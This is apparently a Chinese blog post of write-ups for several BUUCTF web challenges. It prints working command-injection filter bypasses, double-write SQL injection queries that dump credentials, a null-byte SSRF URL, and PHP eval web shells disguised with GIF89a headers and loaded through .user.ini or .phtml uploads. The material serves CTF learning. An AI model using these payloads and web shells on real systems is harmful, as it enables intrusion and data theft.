buuctf

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
![猜测为命令拼接
尝试?ip=127.0.0.1
在这里插入图片描述
果然是,开始构造发现空格flag被ban
在这里插入图片描述
${IFS}
$IFS$9
<
<>
linux中可以用来代替空格
可以用变量拼接解决flag字符串被ban

http://0022d670-8595-4aa7-bfaf-a72fbb8e84d9.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

flag在源代码里

[ACTF2020 新生赛]Exec

在这里插入图片描述看了一眼又是个命令拼接,而且这题没有waf属实简单

在这里插入图片描述在这里插入图片描述直接出了

**

[极客大挑战 2019]BabySQL

**
刚开始是一个登录页面,万能密码可以登录。但是登进去也没啥用
尝试order by,union select 等sql语句,再根据如下返回的报错页面发现,尝试一番发现union select where or from 都被ban 。可以双写绕过
在这里插入图片描述

1' uunionnion sselectelect 1,2,database()  #
1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wwherehere table_schema=database()  #
1' uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wwherehere table_name='b4bsql'  #
1' uunionnion sselectelect 1,2,group_concat(id,0x7e,username,0x7e,passwoorrd) frfromom b4bsql  #'  #

在这里插入图片描述**

[极客大挑战 2019]BuyFlag

**
一个弱类型比较,不难
进入第二个页面 查看源代码
在这里插入图片描述直接抓包,发现cookie中的user参数为0,直接改为1.
再post:password=404a&money=1e10
money对长度有限制用科学计数绕过。或者可以用数组。
这里用了弱类型比较,不懂的可以去百度。网上好多讲这个的

跟开始bs一直提交不上去,还以为题目坏掉了。就写了个脚本传上去的

import requests

url=''
headers={'cookie':'user=1'}
data={'password':'404a','money[]':'1'}
r = requests.post(url=url,headers=headers,data=data)
print(r.text)

发现可以返回flag,后来发现是bs的事,不识别POST请求的原因是请求头缺少这个:
Content-Type: application/x-www-form-urlencoded

**

[GKCTF2020]cve版签到

**
有hint:cve-2020-7066
查资料
CVE-2020-7066
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
描述
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。%00也可以
在这里插入图片描述说仅仅可以访问以.ctfhub.com结尾的
点 view ctfhub:
在这里插入图片描述发现有url参数。将url参数改为http://127.0.0.1后发现没有
后来想起只能以.ctfhub.com结尾。再结合这个cve构造:
?url=http://127.0.0.1%00.ctfhub.com
回显:
在这里插入图片描述又提示结尾为123,payload改为:
?url=http://127.0.0.123%00.ctfhub.com

在这里插入图片描述flag出来了。这里用\0不知道为什么不好使,一直用%00做的
有师傅懂这块吗。看见评论提示下,谢谢 QAQ

[SUCTF 2019]CheckIn

提示上传
在这里插入图片描述

回显:exif_imagetype:not image!,猜测后端应该调用了php的exif_imagetype()函数,这个很好绕过,添加图片文件头就可以了
在这里插入图片描述

们添加最简单的gif文件头GIF89a,发现上传成功,看文件夹下还有一个index.php猜测用.user.ini 解析图片马,于是上传.user.ini,关于.user.ini,可以去百度。再上传一个图片马,内容分别如下

GIF89a                  
auto_prepend_file=a.jpg 
GIF89a
<script language='php'> @eval($_POST['pass']);</script>>

没用<?php来写一句话马是因为?被过滤了,有提醒
用菜刀或者蚁剑连接下面这个,就能找到了

http://6ec6c127-3adf-4e3d-8bed-08ec93cfc8b0.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php

关于图片马这里也说一嘴:
木马写里面,包含一下就会进行解析,一般图片马,和包含漏洞比较搭配
关于.user.in也说一嘴:
条件:

1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件

实例:上传.user.ini绕过黑名单检验

GIF89a :绕过exif_imagetype()

auto_prepend_file=a.jpg :指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样

auto_append_file=a.jpg 解析后进行包含

优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

[极客大挑战 2019]Upload

在这里插入图片描述让上传一个文件
在这里插入图片描述
回显提示文件内部存在?
把问号删掉看看
在这里插入图片描述又说不是个图片,猜测后端可能用到exif_imagetype()函数
于是文本内容改为

GIF89a
<script language="php">eval($_POST['cmd']);</script> 

php别名
php3,php4,php5,pht,phtml,phps
这里发现 *.phtml可以绕过
于是改为以phtml结尾
用御剑扫一下,有upload文件
用蚁剑连接,flag在 /目录下
在这里插入图片描述

[ACTF2020 新生赛]BackupFile

题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php
访问index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱类型直接构造:
?key=123

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值